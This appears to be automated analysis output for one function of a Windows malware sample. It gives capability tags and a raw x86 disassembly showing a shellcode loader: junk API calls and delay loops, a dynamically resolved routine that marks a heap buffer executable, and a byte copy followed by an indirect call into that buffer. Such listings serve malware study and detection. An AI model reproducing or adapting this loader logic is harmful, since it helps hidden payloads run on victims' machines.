Function at 0x403c31
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207142
jg 0x403c5e
inc edi
cmp edi, 0x67d12
jl 0x403c41
cmp dword [0x283c71c], 0x93
jne 0x403d33
push 0x4037e4
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push esi
push esi
push 0x4037f0
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuState]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
push esi
push 0x403800
push 0x403810
push 0x403818
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
call dword [sym.imp.SHELL32.dll_FindExecutableA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.ole32.dll_StringFromIID]
push esi
call fcn.004040c4
push esi
push 0x403772
push 0x459728
call fcn.00404170
push esi
push esi
call fcn.004048ba
push esi
call fcn.00404880
push esi
push esi
call fcn.004048af
add esp, 0x24
mov eax, dword [0x444b5c]
add dword [0x283c71c], 0x1134b
push 0x40382c
mov dword [0x283d558], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x403848
push eax
mov dword [0x283c1ac], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x283c71c]
mov dword [0x283c1a0], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x283c71c]
mov dword [0x283c1a8], eax
push eax
call dword [0x283c1a0]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, 0x1692e
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuBarInfo]
push esi
lea eax, [ebp - 0x81c]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push esi
call ebx
dec edi
jne 0x403d98
cmp dword [0x283c71c], esi
jbe 0x403e15
mov eax, dword [0x283d558]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x283c1a8]
mov byte [ecx + edi], al
cmp dword [0x283c71c], 0x490
jne 0x403e0c
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
inc edi
cmp edi, dword [0x283c71c]
jb 0x403dbe
xor edi, edi
mov eax, dword [0x283c71c]
add eax, edi
cmp eax, 0x8d
jne 0x403e56
push esi
lea eax, [ebp - 0x41c]
push eax
push esi
push 0x403858
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push 0x40385c
push 0x403870
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
inc edi
cmp edi, 0x38681
jl 0x403e17
call fcn.00403b58
xor edi, edi
push esi
call ebx
cmp edi, 0x61
jne 0x403e81
mov dword [ebp - 8], esi
add dword [ebp - 8], 0x11560
mov eax, dword [ebp - 8]
add dword [0x283c1a8], eax
inc edi
cmp edi, 0x674bd
jl 0x403e66
push 0x7b
pop edi
cmp dword [0x283c71c], 0x86
jne 0x403ec9
push esi
push esi
push esi
push esi
push esi
push esi
push 0x40389c
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
dec edi
jne 0x403e8d
push 0x4038b8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x283c1a8]
pop edi
pop esi
pop ebx
leave
ret